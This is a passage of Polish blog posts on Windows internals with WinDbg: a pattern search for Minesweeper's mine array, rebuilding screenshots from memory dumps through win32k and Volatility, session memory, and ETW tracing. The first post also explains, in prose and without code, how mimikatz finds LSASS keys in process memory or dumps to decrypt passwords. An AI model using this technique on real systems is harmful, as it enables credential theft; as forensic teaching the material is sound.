odpowiednio w pierwszym, drugim oraz trzecim wystąpieniu, przy czym starałem się brać względnie długi ciąg, który nie jest poprzedzony żadnym symbolem. I teraz myk: przeszukujemy interesujący nas obszar pamięci na wystąpienie powyższych ciągów. Pierwszy i trzeci z góry możemy sobie darować - są za krótkie i na pewno występują więcej niż 1 raz, jednak drugi wygląda zachęcająco:

0:000> s -b 01000000 L?0x00020000 80 08 80 ff 0d
010036fa  80 08 80 ff 0d 30 53 00-01 75 c2 8b 0d 38 53 00  .....0S..u...8S.

Sprawdzamy (dodajemy 5 ze względu na 5 bajtów wzorca):

0:000> dd 010036fa+5 L1
010036ff  01005330

i oczywiście wszystko się zgadza!

Mamy tylko 1 wystąpienie, a zatem możemy zaproponować następujący ‘algorytm’ wyszukania zawartości tablicy rgBlk bez użycia symboli:
1. Znajdź położenie w pamięci modułu winmine.exe: adres bazowy oraz rozmiar.
2. Przeszukaj obszar modułu na wystąpienie wzorca 80 08 80 ff 0d
3. Do znalezionego adresu dodaj 5
4. Z tak ustalonego miejsca odczytaj 4-bajtowy adres
5. Znaleziony adres wskazuje na początek struktury, dodaj zatem do niego 16 aby uzyskać początek tablicy przechowującej położenie bomb.

Proste? :)

No to teraz wyobraźcie sobie, że macie dwa procesy: jeden ‘atakowany’ i drugi własny, nad którym macie pełną kontrolę i w przypadku padu nikogo nic nie zaboli. Do własnego procesu ładujecie interesujący was moduł (np. winmine.exe). Z atakowanego odczytujecie interesujące  was informacje, kopiujecie w odpowiednie miejsce do własnego procesu, po czym uruchamiacie jakąś funkcję modułu (np. StartGame), która w jakiś sposób korzysta ze skopiowanych danych.
A teraz wyobraźcie sobie, że zamiast winmine.exe sięgacie do procesu lsass.exe i kopiujecie z obszaru zajmowanego przez lsasrv.dll klucze wykorzystywane przez lsass do szyfrowania i deszyfrowania danych, oczywiście znajdując je przy pomocy odpowiednich ‘magicznych’ ciągów bajtów. W swoim procesie ładujecie lsasrv.dll i inicjalizujecie odpowiednie struktury danych tymi odczytanymi z żywego procesu lsass.exe. A teraz swobodnie z nich korzystacie szyfrując i deszyfrując dane tak, jakby to zrobił sam lsass.
Skoro dotarliście do tego miejsca, to posuńcie się krok dalej i wyobraźcie sobie, że odczytujecie dane ze zrzutu pamięci procesu lsass.exe z innego komputera (o tej samej wersji systemu i architekturze), wrzucacie do własnego procesu, w którym załadowaliście sobie lsasrv.dll i wykonujecie te same czynności, które opisałem wyżej.

Abstrakcja? Otóż dokładnie na tej zasadzie działają ostatnie wersje mimikatz (wspomniałem o nim w poprzednim wpisie) - żadnego ładowania dodatkowych bibliotek do procesu lsass.exe - po prostu search & read, a wszystkie operacje wykonywane są w ramach procesu mimikatz.exe, który ładuje lokalnie odpowiednią wersję lsasrv.dll. A jako bonus - dodany przez Benjamina na moją specjalną prośbę - odczytywanie haseł wprost ze zrzutów pamięci :)

Zgaduj-zgadula, czyli co ty wiesz o systemie i inne takie

$
0
0

Zabawa-zagadka dla znudzonych. Które zdania odnoszące się do Windows 7 są prawdziwe, które nie, a które czasem tak, a czasem nie? (+ew. źródełko)

1. Mając do dyspozycji pełny memory.dmp można wygenerować zrzuty ekranu dla wszystkich aktywnych sesji z momentu padu systemu, a także co się działo w systemie w ostatnich sekundach przed padem.
2. W plikach prefetchera (%SystemRoot%\Prefetch) znajdują się informacje o tym kto i kiedy uruchomił dany program, a także listę załadowanych przez ten program bibliotek.
3. Po zalogowaniu do systemu nie ma możliwości odzyskania hasła użytego podczas logowania.
4. Domyślne (po instalacji) ustawienia UAC chronią mnie skutecznie przed aplikacjami chcącymi zmodyfikować ustawienia systemowe.

I z innej beczki
1. Przelewy bankowe potwierdzam hasłami otrzymanymi SMSem z banku - jestem bezpieczny.
2. Istnieje plik będący archiwum .zip, który po rozpakowaniu jest tym samym plikiem ('niezmiennik zipa').

Memory dump a screenshot

$
0
0

Kilku śmiałków postanowiło odpowiedzieć na moje wyzwanie rzucone w poprzednim wpisie, nadszedł zatem czas na moje rozwiązanie. Postanowiłem jednak, że odpowiem pełnymi zdaniami, a inni sami ustalą, która z odpowiedzi jest najbliższa prawdy (a przynajmniej mojej wersji prawdy ;)). Zaczynamy od zrzutów ekranu

1. Mając do dyspozycji pełny memory.dmp można wygenerować zrzuty ekranu dla wszystkich aktywnych sesji z momentu padu systemu, a także co się działo w systemie w ostatnich sekundach przed padem.

Dziś kilka słów o pierwszej - tłuściutkiej części zdania.

Intro

W Windows 7 obsługa okien realizowana jest w dużej mierze w obrębie win32k.sys. Aby dostać się do struktur win32k, musimy pogrzebać nieco głębiej w systemie. Potrzebny nam zatem będzie kernel debugger i łyk wiedzy o wewnętrznych strukturach win32k.

W czasie tworzenia procesu Win32, po wstępnym przygotowaniu przez system struktury EPROCESS, CSRSS tworzy obiekt CSR_PROCESS, po czym win32k dodaje do własnej listy procesów odpowiedni obiekt W32PROCESS. Podobnie dzieje się z wątkami - tam, gdzie mamy do czynienia z wątkiem GUI, tworzony jest obiekt W32THREAD i dowiązywany do odpowiedniej listy. W ramach struktury nt!_EPROCESS możemy znaleźć pole Win32Process, które prowadzi nas wprost do struktury win32k!tagPROCESSINFO.

W poszukiwaniu okien

Bez dalszych opowieści, weźmy zatem pełny dump systemu (przygotowany z poziomu debuggera jądra podłączonego do działającego systemu, bezpośrednio po ctrl+break) i przyjrzyjmy się kalkulatorowi.

kd> !process 0 0 calc.exe
PROCESS fffffa8003951060
    SessionId: 1  Cid: 0bf8    Peb: 7fffffd9000  ParentCid: 0b50
    DirBase: 1a014000  ObjectTable: fffff8a002b7b0e0  HandleCount:  75.
    Image: calc.exe

kd> .process /P fffffa8003951060
Implicit process is now fffffa80`03951060

kd> dt nt!_EPROCESS fffffa8003951060 Win32Process
   +0x258 Win32Process : 0xfffff900`c1acd9b0 Void

Mamy zatem obiekt win32k!tagPROCESSINFO powiązany z procesem calc.exe. Przy okazji uwaga odnośnie układu pamięci wirtualnej jądra x64 - pole Win32Process wskazuje na adres w 512 GB obszarze sesji, przeznaczonym właśnie m.in. na win32k.sys (za Russinovichem oraz http://www.codemachine.com/article_x64kvas.html).

Przeglądając zawartość struktury win32k!tagPROCESSINFO uświadamiamy sobie, że nie mamy powiązania z oknami należącymi do tego procesu. Mamy jednak adres pulpitu startowego, dzięki czemu możemy próbować dojść do procesu od strony okien :)

kd> dt win32k!tagPROCESSINFO 0xfffff900`c1acd9b0 rpdeskStartup
   +0x110 rpdeskStartup : 0xfffffa80`034c07a0 tagDESKTOP

tu przechodzimy dalej do tagDESKTOPINFO

kd> dt win32k!tagDESKTOP 0xfffffa80`034c07a0 pDeskInfo
   +0x008 pDeskInfo : 0xfffff900`c0600a70 tagDESKTOPINFO

i stąd zaczynamy listować wszystkie okna, zaczynając od pola spwnd

kd> dt win32k!tagDESKTOPINFO 0xfffff900`c0600a70 spwnd
   +0x010 spwnd : 0xfffff900`c0600b90 tagWND

Przechodzimy po kolei wszystkie okna (spwndNext, spwndChild), aby wreszcie trafić na okno:

kd> dt win32k!tagWND fffff900c061f730
   +0x000 head             : _THRDESKHEAD
   +0x028 state            : 0x50020009
   +0x028 bHasMeun         : 0y1
   +0x028 bHasVerticalScrollbar : 0y0
   +0x028 bHasHorizontalScrollbar : 0y0
   +0x028 bHasCaption      : 0y1
   +0x028 bSendSizeMoveMsgs : 0y0
   +0x028 bMsgBox          : 0y0
   +0x028 bActiveFrame     : 0y0
   +0x028 bHasSPB          : 0y0
   +0x028 bNoNCPaint       : 0y0
   +0x028 bSendEraseBackground : 0y0
   +0x028 bEraseBackground : 0y0
   +0x028 bSendNCPaint     : 0y0
   +0x028 bInternalPaint   : 0y0
   +0x028 bUpdateDirty     : 0y0
   +0x028 bHiddenPopup     : 0y0
   +0x028 bForceMenuDraw   : 0y0
   +0x028 bDialogWindow    : 0y0
   +0x028 bHasCreatestructName : 0y1
   +0x028 bServerSideWindowProc : 0y0
   +0x028 bAnsiWindowProc  : 0y0
   +0x028 bBeingActivated  : 0y0
   +0x028 bHasPalette      : 0y0
   +0x028 bPaintNotProcessed : 0y0
   +0x028 bSyncPaintPending : 0y0
   +0x028 bRecievedQuerySuspendMsg : 0y0
   +0x028 bRecievedSuspendMsg : 0y0
   +0x028 bToggleTopmost   : 0y0
   +0x028 bRedrawIfHung    : 0y0
   +0x028 bRedrawFrameIfHung : 0y1
   +0x028 bAnsiCreator     : 0y0
   +0x028 bMaximizesToMonitor : 0y1
   +0x028 bDestroyed       : 0y0
   +0x02c state2           : 0x80000700
   +0x02c bWMPaintSent     : 0y0
   +0x02c bEndPaintInvalidate : 0y0
   +0x02c bStartPaint      : 0y0
   +0x02c bOldUI           : 0y0
   +0x02c bHasClientEdge   : 0y0
   +0x02c bBottomMost      : 0y0
   +0x02c bFullScreen      : 0y0
   +0x02c bInDestroy       : 0y0
   +0x02c bWin31Compat     : 0y1
   +0x02c bWin40Compat     : 0y1
   +0x02c bWin50Compat     : 0y1
   +0x02c bMaximizeMonitorRegion : 0y0
   +0x02c bCloseButtonDown : 0y0
   +0x02c bMaximizeButtonDown : 0y0
   +0x02c bMinimizeButtonDown : 0y0
   +0x02c bHelpButtonDown  : 0y0
   +0x02c bScrollBarLineUpBtnDown : 0y0
   +0x02c bScrollBarPageUpBtnDown : 0y0
   +0x02c bScrollBarPageDownBtnDown : 0y0
   +0x02c bScrollBarLineDownBtnDown : 0y0
   +0x02c bAnyScrollButtonDown : 0y0
   +0x02c bScrollBarVerticalTracking : 0y0
   +0x02c bForceNCPaint    : 0y0
   +0x02c bForceFullNCPaintClipRgn : 0y0
   +0x02c FullScreenMode   : 0y000
   +0x02c bCaptionTextTruncated : 0y0
   +0x02c bNoMinmaxAnimatedRects : 0y0
   +0x02c bSmallIconFromWMQueryDrag : 0y0
   +0x02c bShellHookRegistered : 0y0
   +0x02c bWMCreateMsgProcessed : 0y1
   +0x030 ExStyle          : 0xe0080900
   +0x030 bWS_EX_DLGMODALFRAME : 0y0
   +0x030 bUnused1         : 0y0
   +0x030 bWS_EX_NOPARENTNOTIFY : 0y0
   +0x030 bWS_EX_TOPMOST   : 0y0
   +0x030 bWS_EX_ACCEPTFILE : 0y0
   +0x030 bWS_EX_TRANSPARENT : 0y0
   +0x030 bWS_EX_MDICHILD  : 0y0
   +0x030 bWS_EX_TOOLWINDOW : 0y0
   +0x030 bWS_EX_WINDOWEDGE : 0y1
   +0x030 bWS_EX_CLIENTEDGE : 0y0
   +0x030 bWS_EX_CONTEXTHELP : 0y0
   +0x030 bMakeVisibleWhenUnghosted : 0y1
   +0x030 bWS_EX_RIGHT     : 0y0
   +0x030 bWS_EX_RTLREADING : 0y0
   +0x030 bWS_EX_LEFTSCROLLBAR : 0y0
   +0x030 bUnused2         : 0y0
   +0x030 bWS_EX_CONTROLPARENT : 0y0
   +0x030 bWS_EX_STATICEDGE : 0y0
   +0x030 bWS_EX_APPWINDOW : 0y0
   +0x030 bWS_EX_LAYERED   : 0y1
   +0x030 bWS_EX_NOINHERITLAYOUT : 0y0
   +0x030 bUnused3         : 0y0
   +0x030 bWS_EX_LAYOUTRTL : 0y0
   +0x030 bWS_EX_NOPADDEDBORDER : 0y0
   +0x030 bUnused4         : 0y0
   +0x030 bWS_EX_COMPOSITED : 0y0
   +0x030 bUIStateActive   : 0y0
   +0x030 bWS_EX_NOACTIVATE : 0y0
   +0x030 bWS_EX_COMPOSITEDCompositing : 0y0
   +0x030 bRedirected      : 0y1
   +0x030 bUIStateKbdAccelHidden : 0y1
   +0x030 bUIStateFocusRectHidden : 0y1
   +0x034 style            : 0x14ca0000
   +0x034 bReserved1       : 0y0000000000000000 (0)
   +0x034 bWS_MAXIMIZEBOX  : 0y0
   +0x034 bReserved2       : 0y0000000000000000 (0)
   +0x034 bWS_TABSTOP      : 0y0
   +0x034 bReserved3       : 0y0000000000000000 (0)
   +0x034 bUnused5         : 0y0
   +0x034 bWS_MINIMIZEBOX  : 0y1
   +0x034 bReserved4       : 0y0000000000000000 (0)
   +0x034 bUnused6         : 0y0
   +0x034 bWS_GROUP        : 0y1
   +0x034 bReserved5       : 0y0000000000000000 (0)
   +0x034 bUnused7         : 0y10
   +0x034 bWS_THICKFRAME   : 0y0
   +0x034 bReserved6       : 0y0000000000000000 (0)
   +0x034 bUnused8         : 0y10
   +0x034 bWS_SIZEBOX      : 0y0
   +0x034 bReserved7       : 0y0000000000000000 (0)
   +0x034 bUnused9         : 0y010
   +0x034 bWS_SYSMENU      : 0y1
   +0x034 bWS_HSCROLL      : 0y0
   +0x034 bWS_VSCROLL      : 0y0
   +0x034 bWS_DLGFRAME     : 0y1
   +0x034 bWS_BORDER       : 0y1
   +0x034 bMaximized       : 0y0
   +0x034 bWS_CLIPCHILDREN : 0y0
   +0x034 bWS_CLIPSIBLINGS : 0y1
   +0x034 bDisabled        : 0y0
   +0x034 bVisible         : 0y1
   +0x034 bMinimized       : 0y0
   +0x034 bWS_CHILD        : 0y0
   +0x034 bWS_POPUP        : 0y0
   +0x038 hModule          : 0x00000000`ff6f0000 Void
   +0x040 hMod16           : 0
   +0x042 fnid             : 0
   +0x048 spwndNext        : 0xfffff900`c062a730 tagWND
   +0x050 spwndPrev        : 0xfffff900`c06226d0 tagWND
   +0x058 spwndParent      : 0xfffff900`c0600b90 tagWND
   +0x060 spwndChild       : 0xfffff900`c0622a10 tagWND
   +0x068 spwndOwner       : (null)
   +0x070 rcWindow         : tagRECT
   +0x080 rcClient         : tagRECT
   +0x090 lpfnWndProc      : 0x00000000`ff6f1c58     int64  +ff6f1c58
   +0x098 pcls             : 0xfffff900`c061f590 tagCLS
   +0x0a0 hrgnUpdate       : (null)
   +0x0a8 ppropList        : 0xfffff900`c0627c10 tagPROPLIST
   +0x0b0 pSBInfo          : (null)
   +0x0b8 spmenuSys        : (null)
   +0x0c0 spmenu           : 0xfffff900`c061f860 tagMENU
   +0x0c8 hrgnClip         : (null)
   +0x0d0 hrgnNewFrame     : (null)
   +0x0d8 strName          : _LARGE_UNICODE_STRING
   +0x0e8 cbwndExtra       : 0n0
   +0x0f0 spwndLastActive  : 0xfffff900`c061f730 tagWND
   +0x0f8 hImc             : 0x00000000`000501d1 HIMC__
   +0x100 dwUserData       : 0
   +0x108 pActCtx          : (null)
   +0x110 pTransform       : (null)
   +0x118 spwndClipboardListenerNext : (null)
   +0x120 ExStyle2         : 0x18
   +0x120 bClipboardListener : 0y0
   +0x120 bLayeredInvalidate : 0y0
   +0x120 bRedirectedForPrint : 0y0
   +0x120 bLinked          : 0y1
   +0x120 bLayeredForDWM   : 0y1
   +0x120 bLayeredLimbo    : 0y0
   +0x120 bHIGHDPI_UNAWARE_Unused : 0y0
   +0x120 bVerticallyMaximizedLeft : 0y0
   +0x120 bVerticallyMaximizedRight : 0y0
   +0x120 bHasOverlay      : 0y0
   +0x120 bConsoleWindow   : 0y0
   +0x120 bChildNoActivate : 0y0

Tu nas interesują pola:
   +0x000 head             : _THRDESKHEAD
dalej
   +0x070 rcWindow         : tagRECT
oraz
   +0x0d8 strName          : _LARGE_UNICODE_STRING
i skoro już tu jesteśmy - niech mi ktoś powie, co określa pole
   +0x028 bHasMeun         : 0y1
bo nic mi nie przychodzi do głowy ;) (tak przy okazji - okno kalkulatora posiada menu)

Z pierwszego z pól wyciągamy kolejno:

kd> dt win32k!_THRDESKHEAD fffff900c061f730 pti
   +0x010 pti : 0xfffff900`c1ea7930 tagTHREADINFO
kd> dt win32k!tagTHREADINFO 0xfffff900`c1ea7930 ppi
   +0x158 ppi : 0xfffff900`c1acd9b0 tagPROCESSINFO
kd> dt win32k!tagPROCESSINFO 0xfffff900`c1acd9b0 Process
   +0x000 Process : 0xfffffa80`03951060 _EPROCESS
kd> dt nt!_EPROCESS 0xfffffa80`03951060 UniqueProcessId ImageFileName
   +0x180 UniqueProcessId : 0x00000000`00000bf8 Void
   +0x2e0 ImageFileName   : [15]  "calc.exe"

i jesteśmy w domu! :)

Drugie pole to struktura opisująca położenie lewego górnego oraz prawego dolnego rogu okna:

kd> dt win32k!tagRECT fffff900c061f730+0x070
   +0x000 left             : 0n154
   +0x004 top              : 0n140
   +0x008 right            : 0n382
   +0x00c bottom           : 0n462

Trzecie pole to struktura typu win32k!_LARGE_UNICODE_STRING, w której znajduje się tytuł okna. Zrzucamy ją zatem

kd> dt win32k!_LARGE_UNICODE_STRING fffff900c061f730+0x0d8
   +0x000 Length           : 0x14
   +0x004 MaximumLength    : 0y0000000000000000000000000010110 (0x16)
   +0x004 bAnsi            : 0y0
   +0x008 Buffer           : 0xfffff900`c0622690  -> 0x43

a następnie z pola Buffer wyciągamy odpowiedni tekst:

kd> du 0xfffff900`c0622690
fffff900`c0622690  "Calculator"

Nie ukrywam, że do znalezienia odpowiedniego okna napisałem drobne rozszerzenie windbg, które przeczesało mi po kolei okna należące do desktopu powiązanego z procesem.

Oczywiście, mając informację o tytułach okien, ich położeniu i rozmiarach, możemy pokusić się o wygenerowanie grafiki, która będzie przedstawiać odpowiedni dekstop.

Volatility

I dokładnie z tego mechanizmu korzysta polecenie screenshot z pakietu Volatility, zaczyna jednak nieco wyżej - listuje po kolei wszystkie stacje okienkowe, następnie należące do nich desktopy i dla każdego z nich generuje plik .png. Do wykonania zrzutu korzystamy z polecenia

>python vol.py -f win7x86.dmp --profile=Win7SP1x86 screenshot -D screnshots/
Volatile Systems Volatility Framework 2.3_alpha
Wrote screenshots\session_0.msswindowstation.mssrestricteddesk.png
Wrote screenshots\session_0.Service-0x0-3e4$.Default.png
Wrote screenshots\session_0.Service-0x0-3e5$.Default.png
Wrote screenshots\session_0.Service-0x0-3e7$.Default.png
Wrote screenshots\session_0.WinSta0.Default.png
Wrote screenshots\session_0.WinSta0.Disconnect.png
Wrote screenshots\session_0.WinSta0.Winlogon.png
Wrote screenshots\session_1.WinSta0.Default.png
Wrote screenshots\session_1.WinSta0.Disconnect.png
Wrote screenshots\session_1.WinSta0.Winlogon.png

Poniżej porównanie: rzeczywisty zrzut ekranu

Rys 1. Rzeczywisty zrzut ekranu

i zrzut wygenerowany przez Volatility z memory dumpa

Rys 2. Zrzut ekranu wygenerowany przez Volatility

Różnicę widać gołym okiem i ocenę, czy jest to zrzut ekranu, czy nie pozostawiam Wam.

Zapewne zauważyliście, że do wykonania zrzutu skorzystałem z dumpa x86, podczas gdy opis obejmował x64. Z jakiejś przyczyny Volatility dla wersji x64 nie potrafi prawidłowo zinterpretować strName i - przynajmniej u mnie - generuje zrzut bez nazw okien.

A na koniec zagadka: do czego służyło mi polecenie

kd> .process /P fffffa8003951060

i co bym otrzymał dalej, gdybym go nie wykonał?

win32k a sesja

$
0
0

Poprzedni wpis zakończyłem pytaniem o dodatkowe polecenie, które wykonałem tuż po ustaleniu adresu instancji EPROCESS dla kalkulatora, czyli

kd> .process /P fffffa8003951060

Czy było ono niezbędne? :)

Najważniejszą wskazówką jaką podałem, to to, że dump został przygotowany z poziomu debuggera jądra, a nie np. z wykorzystaniem zewnętrznego narzędzia (typu notmyfault, czy win64dd), co oznacza, że wykonałem go będąc przełączonym na proces systemowy.

_MM_SESSION_SPACE

W systemie może być wiele sesji - kilka lat temu pisałem o tym, że od Visty usługi pracują w sesji 0, natomiast użytkownicy w sesji 1 i następnych. W ramach sesji 1 mamy ‘konsolę’, czyli ‘sesję interaktywną’ - tą, z którą łączymy się pracując bezpośrednio przy komputerze. Precyzyjniej rzecz ujmując, jest to sesja 1, stacja okienkowa ‘WinSta0’, pulpit ‘Default’ (co pokazałem na zrzutach w poprzednim wpisie).
Dla każdej sesji system tworzy obiekt typu _MM_SESSION_SPACE i każdy proces ma w ramach swojej struktury EPROCESS link do powiązanej z nim sesji, w ramach pola Session. Sprawdźmy to dla kilku przykładów:

1. Lsass.exe

kd> !process 0 0 lsass.exe
PROCESS fffffa80034e02a0
    SessionId: 0  Cid: 0220    Peb: 7fffffd6000  ParentCid: 019c
    DirBase: 203f9000  ObjectTable: fffff8a002609310  HandleCount: 576.
    Image: lsass.exe
kd> dt nt!_EPROCESS fffffa80034e02a0 Session
   +0x2d8 Session : 0xfffff880`030b2000 Void
kd> dt nt!_MM_SESSION_SPACE 0xfffff880`030b2000 SessionId
   +0x008 SessionId : 0

2. calc.exe

kd> !process 0 0 calc.exe
PROCESS fffffa8003951060
    SessionId: 1  Cid: 0bf8    Peb: 7fffffd9000  ParentCid: 0b50
    DirBase: 1a014000  ObjectTable: fffff8a002b7b0e0  HandleCount:  75.
    Image: calc.exe

kd> dt nt!_EPROCESS fffffa8003951060 Session
   +0x2d8 Session : 0xfffff880`033e5000 Void
kd> dt nt!_MM_SESSION_SPACE 0xfffff880`033e5000 SessionId
   +0x008 SessionId : 1

3. System
To najciekawszy przykład - sprawdźmy, z którą sesją powiązany jest proces systemowy

kd> !process 0 0 system
PROCESS fffffa80018d0040
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00187000  ObjectTable: fffff8a000001720  HandleCount: 418.
    Image: System

kd> dt nt!_EPROCESS fffffa80018d0040 Session
   +0x2d8 Session : (null)

A zatem proces systemowy nie jest powiązany z żadną sesją. Dlatego też, wykonując zrzut w kontekście procesu systemowego nie miałem podlączonej żadnej sesji.

kd> !session
Sessions on machine: 2
Valid Sessions: 0 1
Error in reading current session

Gdy jednak to samo polecenie wykonam będąc na zrzucie wykonanym win64dd, otrzymam w wyniku:

kd> !session
Sessions on machine: 2
Valid Sessions: 0 1
Current Session 1

Aby przełączyć się na konkretną sesję mogę wykonać to na dwa sposoby:

kd> !session -s 1
Sessions on machine: 2
Implicit process is now fffffa80`0346eaa0
Using session 1

Ciekawe przy okazji, na jaki proces zostaliśmy przełączeni:

kd> dt nt!_EPROCESS fffffa80`0346eaa0 ImageFileName
   +0x2e0 ImageFileName : [15]  "csrss.exe"

No tak. Pierwszy proces tworzony w ramach każdej sesji.

Drugi sposób to jawne przełączenie kontekstu na dany proces, co zrobiłem w poprzednim wpisie:

kd> .process /P fffffa8003951060

Poprzednio wspomniałem również, że 512 GB obszar sesji obejmuje adresy:
FFFFF900`00000000 - FFFFF97F`FFFFFFFF
zobaczmy zatem co fizycznie odpowiada temu adresowi dla różnych procesów powiązanych z różnymi sesjami:

1. Sesja 1

kd> !process 0 0 notepad.exe
PROCESS fffffa8003c80920
    SessionId: 1  Cid: 0b94    Peb: 7fffffde000  ParentCid: 0b50
    DirBase: 2bff2000  ObjectTable: fffff8a003883480  HandleCount:  57.
    Image: notepad.exe

kd> .process /P fffffa8003c80920
Implicit process is now fffffa80`03c80920
kd> !pte 0xfffff900`00000000
                                           VA fffff90000000000
PXE at FFFFF6FB7DBEDF90    PPE at FFFFF6FB7DBF2000    PDE at FFFFF6FB7E400000    PTE at FFFFF6FC80000000
contains 0000000021DF5863  contains 0000000076F76863  contains 0000000075777863  contains 000000006EB73863
pfn 21df5     ---DA--KWEV  pfn 76f76     ---DA--KWEV  pfn 75777     ---DA--KWEV  pfn 6eb73     ---DA--KWEV

kd> !process 0 0 calc.exe
PROCESS fffffa8003951060
    SessionId: 1  Cid: 0bf8    Peb: 7fffffd9000  ParentCid: 0b50
    DirBase: 1a014000  ObjectTable: fffff8a002b7b0e0  HandleCount:  75.
    Image: calc.exe

kd> .process /P fffffa8003951060
Implicit process is now fffffa80`03951060
kd> !pte 0xfffff900`00000000
                                           VA fffff90000000000
PXE at FFFFF6FB7DBEDF90    PPE at FFFFF6FB7DBF2000    PDE at FFFFF6FB7E400000    PTE at FFFFF6FC80000000
contains 0000000021DF5863  contains 0000000076F76863  contains 0000000075777863  contains 000000006EB73863
pfn 21df5     ---DA--KWEV  pfn 76f76     ---DA--KWEV  pfn 75777     ---DA--KWEV  pfn 6eb73     ---DA--KWEV

A więc mamy te same pfn dla tego adresu w przypadku obu procesów z sesji 1

2. Sesja 0

kd> !process 0 0 lsass.exe
PROCESS fffffa80034e02a0
    SessionId: 0  Cid: 0220    Peb: 7fffffd6000  ParentCid: 019c
    DirBase: 203f9000  ObjectTable: fffff8a002609310  HandleCount: 576.
    Image: lsass.exe

kd> .process /P fffffa80034e02a0
Implicit process is now fffffa80`034e02a0
kd> !pte 0xfffff900`00000000
                                           VA fffff90000000000
PXE at FFFFF6FB7DBEDF90    PPE at FFFFF6FB7DBF2000    PDE at FFFFF6FB7E400000    PTE at FFFFF6FC80000000
contains 0000000022998863  contains 0000000022919863  contains 000000002291A863  contains 0000000022B16863
pfn 22998     ---DA--KWEV  pfn 22919     ---DA--KWEV  pfn 2291a     ---DA--KWEV  pfn 22b16     ---DA--KWEV

kd> !process 0 0 audiodg.exe
PROCESS fffffa8003679060
    SessionId: 0  Cid: 017c    Peb: 7fffffd9000  ParentCid: 03b4
    DirBase: 152e4000  ObjectTable: fffff8a0029177d0  HandleCount: 115.
    Image: audiodg.exe

kd> .process /P fffffa8003679060
Implicit process is now fffffa80`03679060
kd> !pte 0xfffff900`00000000
                                           VA fffff90000000000
PXE at FFFFF6FB7DBEDF90    PPE at FFFFF6FB7DBF2000    PDE at FFFFF6FB7E400000    PTE at FFFFF6FC80000000
contains 0000000022998863  contains 0000000022919863  contains 000000002291A863  contains 0000000022B16863
pfn 22998     ---DA--KWEV  pfn 22919     ---DA--KWEV  pfn 2291a     ---DA--KWEV  pfn 22b16     ---DA--KWEV

A zatem i w tym przypadku mamy ten sam pfn dla obu procesów, przy czym jest on różny od tego, z czym się spotkalismy analizując procesy sesji 1

3. W kontekście procesu systemu

kd> !process 0 0 system
PROCESS fffffa80018d0040
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00187000  ObjectTable: fffff8a000001720  HandleCount: 418.
    Image: System

kd> .process /P fffffa80018d0040
Implicit process is now fffffa80`018d0040
kd> !pte 0xfffff900`00000000
                                           VA fffff90000000000
PXE at FFFFF6FB7DBEDF90    PPE at FFFFF6FB7DBF2000    PDE at FFFFF6FB7E400000    PTE at FFFFF6FC80000000
contains 0000000000000000
not valid

A zatem w kontekście procesu system ten adres nie jest poprawny

Gdy zrobimy zrzut załadowanych modułów, to okazuje się, iż w obszarze sesji mamy załadowane następujące:

kd> lm kv
start             end                 module name
[CIAP]
fffff960`000a0000 fffff960`003b6000   win32k     (pdb symbols)          c:\websymbols\win32k.pdb\C56BAB5A7D284C9DA9ECF3691D7D35B32\win32k.pdb
    Loaded symbol image file: win32k.sys
    Mapped memory image file: c:\websymbols\win32k.sys\50AEECC6316000\win32k.sys
    Image path: \SystemRoot\System32\win32k.sys
    Image name: win32k.sys
    Timestamp:        Fri Nov 23 04:25:58 2012 (50AEECC6)
    CheckSum:         0030B8F7
    ImageSize:        00316000
    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4
fffff960`00500000 fffff960`0050a000   TSDDD      (deferred)            
    Image path: \SystemRoot\System32\TSDDD.dll
    Image name: TSDDD.dll
    Timestamp:        Tue Jul 14 02:16:34 2009 (4A5BCE62)
    CheckSum:         00009E96
    ImageSize:        0000A000
    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4
fffff960`00610000 fffff960`00637000   cdd        (deferred)            
    Image path: \SystemRoot\System32\cdd.dll
    Image name: cdd.dll
    Timestamp:        Sat Nov 20 13:55:34 2010 (4CE7C546)
    CheckSum:         0002D4F0
    ImageSize:        00027000
    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4

Dzięki temu win32k nie musi samodzielnie zajmować się sesjami i ma zapewnioną pełną separację między różnymi sesjami, a sam może zajmować się tylko stacjami okienkowymi, pulpitami, oknami, no i oczywiście procesami i wątkami powiązanymi z tymi obiektami :)

Reasumując: gdybym nie przełączył się na proces kalkulatora, to przeglądając zawartość obiektów sesji odwoływałbym się do adresów w ramach kontekstu procesu system, czyli widziałbym nieprawidłowe adresy.

I zagadka dla bardzo wytrwałych: który proces poza system nie jest połączony z żadną sesją?

Memory dump a ETW

$
0
0

Kontynuujemy zabawę, tym razem spróbuję rzucić nieco światła na drugą część pierwszego pytania:
1. Mając do dyspozycji pełny memory.dmp można wygenerować zrzuty ekranu dla wszystkich aktywnych sesji z momentu padu systemu, a także co się działo w systemie w ostatnich sekundach przed padem.

W ramach pakietu z WinDbg dostajemy zestaw rozszerzeń pozwalających na analizę zdarzeń ETW, które zapisywane są w buforach pamięci zrzucanych do memory dumpa.

!wmitrace

W zasadzie wszystko sprowadza się do zabawy z poleceniami rozszerzenia wmitrace.

kd> !wmitrace.help

ETW Tracing Kernel Debugger Extensions

    strdump                                - List running loggers
    logger <LoggerId>                      - Dump the logger information
    logdump <LoggerId> [-t n] [-tmf GUIDFile] [-man Man1 Man2 ... ManN] [-xml] [-of file]
                                           - Dump the in-memory portion of a log file.
                                             [-t n]: Dump the last n events, sorted by timestamp.
                                             [-tmf GUIDFile]: Specify the tmf file for WPP events.
                                             [-man Man1 Man2 ... ManN]: Specify a list of manifest files for ETW events.
                                             [-xml]: Dump the events in xml format.
                                             [-of file]: Dump the events in file, instead of the debugger console.
    logsave  <LoggerId>  <Save file name>  - Save the in-memory portion of a log to an .etl file
    searchpath  [+]  <Path>                - Set the trace format search path
    manpath <Path>                         - Set the manifest search path
    tmffile <filename>                     - Set the TMF file name (default is 'default.tmf')
    setprefix [+] <TraceFormatPrefix>      - Set the prefix format.
                                             (default for WPP events: [%9!d!]%8!04X!.%3!04X!::%4!s! [%1!s!])
                                             (default for ETW events: [%9!d!]%8!04X!.%3!04X!::%4!s! [EventId=%2!s!])
    start LoggerName [-cir n] [-seq n] [-f file] [-b n] [-max n] [-min n] [-kd] [-ft n] [-singlestream [0|1]]
                                           - Start the logger. For circular and sequential file maximum file size
                                             can be provided. Default is buffered mode. Other arguments: filename,
                                             buffer size, max and min buffers, flush timer, KdFilter.
